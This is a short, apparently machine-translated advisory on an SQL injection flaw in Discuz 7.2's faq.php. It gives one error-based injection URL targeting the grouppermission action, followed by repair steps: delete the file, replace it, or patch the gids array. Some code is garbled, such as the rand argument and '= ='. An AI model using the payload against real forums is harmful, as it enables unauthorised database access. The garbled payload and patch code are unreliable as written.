Discuz 7.2/faq.php SQL Injection Vulnerability

Test method:The provider (method) may be offensive, for security research and teaching purposes only, at your own risk!Discuz 7.2 /FAQ. PHP SQL Injection Vulnerability http://www.xxx.com/faq.php?action=grouppermission&gids[99]= ' &gids[100][0]=) and (select 1 From (select COUNT (*), concat (version (), Floor (rand (0) ×)) x from Information_schema . Tables GROUP by x)a)% Repair method:

Fix file: faq.php

Repair method (i)
This file is for display forum Help, the function is relatively independent, you can disable the file access on the server, or directly delete him. Has no effect on the general function of the forum.

Repair Method (ii)
You can use the attachments in this post to overwrite your old files

Repair Method (iii)
Manual Repair faq.php
Open the file with the editor

Find code:

} elseif ($action = = ' grouppermission ') {added below: $gids = Array ();